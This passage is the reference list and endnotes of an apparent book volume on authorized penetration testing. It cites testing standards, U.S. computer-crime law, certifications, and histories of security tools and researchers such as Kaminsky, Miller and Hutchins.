HackerOne and Bugcrowd maintain blog content with disclosures, researcher interviews, and program updates: https://www.hackerone.com/blog, https://www.bugcrowd.com/blog/.
SANS Internet Storm Center (ISC): https://isc.sans.edu/ — daily handler diaries with operational analysis.
PortSwigger Research (the Burp Suite team’s research output): https://portswigger.net/research — high-quality web-application-security research.
TrustedSec Blog (Dave Kennedy’s firm): https://www.trustedsec.com/blog/ — working-pentester perspective.

9.2 Industry-reference documents

PTES — Penetration Testing Execution Standard: http://www.pentest-standard.org/. The canonical industry-reference methodology document; relatively dormant in maintenance but widely cited.
OWASP Web Security Testing Guide: https://owasp.org/www-project-web-security-testing-guide/ and the Application Security Verification Standard (ASVS): https://owasp.org/www-project-application-security-verification-standard/. The OWASP body of work is the canonical web-pentest reference.
NIST SP 800-115, Technical Guide to Information Security Testing and Assessment (September 2008): https://csrc.nist.gov/publications/detail/sp/800-115/final. The U.S. federal-government reference methodology document; less current than industry-driven references but foundational.
MITRE ATT&CK framework: https://attack.mitre.org/. The canonical taxonomy of adversary tactics, techniques, and procedures (TTPs); used in both red-team engagement design and blue-team detection-and-response planning.
CVSS 4.0 (Common Vulnerability Scoring System), FIRST: https://www.first.org/cvss/. The canonical vulnerability-severity rating system; CVSS 4.0 finalized November 2023 and supersedes 3.1 for new work, though 3.1 still appears in legacy reports.

Computer Fraud and Abuse Act, 18 U.S.C. § 1030. Current text via Cornell Legal Information Institute: https://www.law.cornell.edu/uscode/text/18/1030. Full statutory walkthrough in Vol 19 §2. ↩
Van Buren v. United States, 593 U.S. 374 (2021). Cornell LII: https://www.law.cornell.edu/supct/cert/19-783. Vol 4 §1 walked the decision. ↩
A canonical industry reference on engagement-paperwork structure is the Penetration Testing Execution Standard (PTES) — pre-engagement section: http://www.pentest-standard.org/index.php/Pre-engagement. PTES has been quasi-dormant in recent years but remains the most-cited working reference for engagement-structure terminology. The OWASP Web Security Testing Guide also treats engagement scoping in its early chapters: https://owasp.org/www-project-web-security-testing-guide/. ↩
U.S. Department of Justice, “Department of Justice Announces New Policy for Charging Cases under the Computer Fraud and Abuse Act,” May 19, 2022. Press release archive: https://www.justice.gov/opa/pr/department-justice-announces-new-policy-charging-cases-under-computer-fraud-and-abuse-act. The policy clarified that “good-faith security research” should not be prosecuted under CFAA — Vol 4 §5.3 walked this in detail. ↩
See Vol 5 (this series), particularly §2 (Western trope), §3 (migration into computing), and §4 (Black Hat Briefings 1997 and DEF CON as institutional cementing events). ↩
EC-Council, “Certified Ethical Hacker” certification description: https://www.eccouncil.org/programs/certified-ethical-hacker-ceh/. CEH was introduced in 2003. Practitioner critique of CEH as a credential is well-documented across security blogs and forums; representative examples can be found by searching the Information Security Stack Exchange archive. ↩
Jeff Moss biographical material and DEF CON / Black Hat history: https://defcon.org/html/links/dc-faq.html (DEF CON FAQ) and the Black Hat Briefings about-page archive at https://www.blackhat.com/html/about.html. Vol 5 §4 walked the founding events. ↩
Gordon “Fyodor” Lyon, “The Origin of Nmap,” in Phrack Issue 51, Article 11, 1997. Archive: http://phrack.org/issues/51/11.html. Also: the canonical reference is Nmap Network Scanning (Fyodor / Insecure.com LLC, 2008), the long-running official Nmap reference. Nmap project home: https://nmap.org. ↩
Robert Graham, “Masscan: the entire Internet in 3 minutes,” Errata Security blog, 2013. Masscan project source: https://github.com/robertdavidgraham/masscan. Graham’s documentation of the scan-the-Internet-fast technique is in the project README and his blog post archive. ↩
PortSwigger, “About PortSwigger” page: https://portswigger.net/about. Dafydd Stuttard founded PortSwigger Ltd in 2003 and remains its principal. Burp Suite is also the basis for Stuttard and Pinto’s The Web Application Hacker’s Handbook (Wiley, 2007; 2nd ed. 2011), the canonical web-pentest reference. ↩
OWASP Top 10 project: https://owasp.org/Top10/. The current edition (2021) categorizes the most common web vulnerability classes; updates approximately every three years. ↩
HD Moore, “Metasploit” history reference: https://www.metasploit.com/. Rapid7’s acquisition press release (Oct 2009) is preserved in the Wayback Machine. Vol 4 §7.2 walked the lineage. ↩
Cobalt Strike, originally developed by Raphael Mudge (Strategic Cyber LLC, 2012–2020); HelpSystems acquired Strategic Cyber LLC in early 2020 and rebranded to Fortra in November 2022. Product page: https://www.cobaltstrike.com/. Mudge’s original Advanced Threat Tactics training course (free, video form) is the canonical reference for the platform’s tradecraft, archived at https://www.cobaltstrike.com/training/. ↩
SpecterOps, “BloodHound” project. GitHub: https://github.com/SpecterOps/BloodHound (Community Edition). The original DEF CON 24 presentation by Andy Robbins, Will Schroeder, and Rohan Vazarkar (2016) introduced the project: archived at https://www.youtube.com/watch?v=ftnvZpzfMTw (DEF CON official channel). ↩
Benjamin Delpy (“gentilkiwi”), “Mimikatz” project. GitHub: https://github.com/gentilkiwi/mimikatz. Delpy’s documentation and his presentations (Black Hat USA 2014, Hack.lu 2014, BlueHat, others) are the canonical reference. Development began as a French-language project approximately 2007; the widely-circulated English-language public release was in 2011, after which it became a fixture of the post-exploitation toolkit internationally. The project has been continuously updated since. ↩
PCI Security Standards Council, PCI DSS v4.0 (March 2022). Requirement 11.3 mandates annual penetration testing of internal and external networks. Document available at https://www.pcisecuritystandards.org/ (registration required for the full document). ↩
Offensive Security, OSCP (PEN-200 / Penetration Testing with Kali Linux): https://www.offsec.com/courses/pen-200/. The course description and exam structure on the OffSec site is the authoritative reference. ↩
Offensive Security company history is documented in their “About” page and in their PEN-200 course materials. Mati Aharoni and Devon Kearns are the founders (2007); Vol 4 §2.3 walked the lineage in the context of the OSCP credentialing question. ↩
Offensive Security pricing varies by bundle and changes periodically. As of early 2026, the PEN-200 Learn One bundle (one-year subscription, course access plus exam) is in the range of $1,599; the bundle structure has been revised periodically. Current pricing at: https://www.offsec.com/courses/pen-200/. ↩
TCM Security, “Practical Network Penetration Tester” (PNPT) certification: https://certifications.tcm-sec.com/pnpt/. Heath Adams (founder of TCM Security) maintains a substantial YouTube presence as “The Cyber Mentor” — the canonical informal reference for the PNPT-focused training pipeline. ↩
Zero-Point Security, “Certified Red Team Operator” (CRTO) course: https://training.zeropointsecurity.co.uk/courses/red-team-ops. Daniel Duggan (founder) maintains the course and exam. ↩
SANS Institute and GIAC certifications: https://www.giac.org/certifications/. The GIAC catalog is the canonical reference for the specific certification offerings; each cert is associated with a corresponding SANS course. ↩
(ISC)², “CISSP — Certified Information Systems Security Professional” certification: https://www.isc2.org/Certifications/CISSP. Exam pricing and structure documented on the (ISC)² site. ↩
EC-Council, CEH certification page: https://www.eccouncil.org/programs/certified-ethical-hacker-ceh/. Working-practitioner critique of CEH is well-documented across the field — the Krebs on Security archive, the SANS Internet Storm Center commentary, and many published practitioner blogs have substantive treatments. ↩
DoD Cyberspace Workforce Qualification and Management Program (DoD Manual 8140.03, formerly DoD 8570). Available via the DoD Issuances site: https://www.esd.whs.mil/Directives/issuances/dodm/. The workforce qualification framework defines which credentials qualify personnel for specific cyber-workforce categories in DoD contracting. ↩
Katie Moussouris, “Microsoft’s Bug Bounty Programs” announcement and history: Microsoft Security Response Center blog posts, June 2013 and following. The original announcement is archived at https://blogs.microsoft.com/microsoftsecure/2013/06/19/microsoft-launches-its-first-bug-bounty-program/ (or via the Wayback Machine for the original-version state). Moussouris’s broader work documented at Luta Security: https://www.lutasecurity.com/. ↩
U.S. Department of Defense, “Hack the Pentagon” program announcement, March 2, 2016. Defense.gov press release archive: https://www.defense.gov/News/Releases/Release/Article/684106/. The program ran with HackerOne as the platform partner. ↩
The 2015 Wassenaar Arrangement amendment proposals around cybersecurity research export controls produced substantial community pushback. Moussouris’s testimony and the broader community response is documented in multiple venues; Wired, MIT Technology Review, and the EFF coverage from 2015 are the canonical references. ↩
Dan Kaminsky, “Black Ops 2008: It’s the End of the Cache as We Know It” — Black Hat USA 2008 presentation. Slides and video available via the Black Hat archive at https://www.blackhat.com/html/bh-archives.html. The CERT advisory for the DNS vulnerability is at https://www.kb.cert.org/vuls/id/800113. CVE-2008-1447 is the canonical identifier. ↩
Kaminsky’s Black Hat 2008 presentation cited above. The August 6, 2008 talk (after the July 8 patch release) was the formal public disclosure of the technical detail. ↩
Wired, “Dan Kaminsky, Hacker Behind the Famous DNS Bug, Has Died,” April 24, 2021, by Lily Hay Newman: https://www.wired.com/story/dan-kaminsky-internet-security-legend-dead/. The New York Times obituary, April 26, 2021: https://www.nytimes.com/2021/04/26/technology/dan-kaminsky-dead.html. Multiple other tribute pieces from across the industry; the Internet Hall of Fame inducted him in 2021: https://www.internethalloffame.org/inductees/dan-kaminsky. ↩
HD Moore, “Metasploit Project History” — various interviews and conference talks across the 2003–2015 window document the origin. The first public release was October 2003. ↩
Rapid7’s October 2009 acquisition of Metasploit was announced via Rapid7 press release, October 21, 2009. The press release is preserved in the Rapid7 newsroom archive at https://www.rapid7.com/about/press-releases/. ↩
runZero (formerly Rumble Network Discovery) corporate history at https://www.runzero.com/about/. The rebrand to runZero occurred in 2023. ↩
ZDI Pwn2Own historical results: https://www.zerodayinitiative.com/Pwn2OwnHistory/. Charlie Miller’s wins are documented in the contest archives for 2008, 2009, 2010, and 2011. ↩
Charlie Miller, Alex Sotirov, Dino Dai Zovi, “No More Free Bugs,” CanSecWest 2009. The lightning talk slides circulate online; multiple subsequent talks and writings expanded the argument. Vol 4 §3.4 walked the inflection point in detail. ↩
Charlie Miller and Chris Valasek, “Remote Exploitation of an Unaltered Passenger Vehicle,” DEF CON 23 (August 2015) and Black Hat USA 2015. Technical paper archived at http://illmatics.com/Remote%20Car%20Hacking.pdf. The Pacific Northwest National Laboratory archive has additional materials. ↩
Andy Greenberg, “Hackers Remotely Kill a Jeep on the Highway — With Me in It,” Wired, July 21, 2015. https://www.wired.com/2015/07/hackers-remotely-kill-jeep-highway/. The cover story is the canonical mainstream-press treatment of the Miller-Valasek Jeep work. ↩
Charlie Miller’s current role at Cruise documented via his LinkedIn profile and various conference-appearance bios across the 2018–2024 window. Cruise corporate page: https://www.getcruise.com/. ↩
Marcus Hutchins’ kill-switch registration for WannaCry, May 12, 2017, is documented in his MalwareTech blog post “How to Accidentally Stop a Global Cyber Attack,” https://www.malwaretech.com/2017/05/how-to-accidentally-stop-a-global-cyber-attacks.html, and in extensive contemporaneous press coverage (Reuters, BBC, Wired, etc.). Vol 4 §6 walked the WannaCry incident in detail. ↩
Hutchins’ arrest is documented in the DoJ press release of August 3, 2017, and in subsequent court documents. The Register, August 3, 2017: https://www.theregister.com/2017/08/03/marcus_hutchins_arrest/. Reuters, BBC, and The New York Times covered the arrest extensively. ↩
Hutchins’ sentencing is documented in DoJ court records and contemporaneous press coverage. The Verge, July 26, 2019, “Marcus Hutchins, security researcher who stopped WannaCry, avoids prison time”: https://www.theverge.com/2019/7/26/8932286/marcus-hutchins-malwaretech-prison-time-sentencing-wannacry. ↩
Andy Greenberg, “The Confessions of Marcus Hutchins, the Hacker Who Saved the Internet,” Wired, May 12, 2020, https://www.wired.com/story/confessions-marcus-hutchins-hacker-who-saved-the-internet/. The piece is unusually frank about Hutchins’s earlier work and the arc of the prosecution and is the canonical primary-source reference for the trajectory. ↩

Hacker Tradecraft Volume 6 — The White Hat: The Authorized Professional

Contents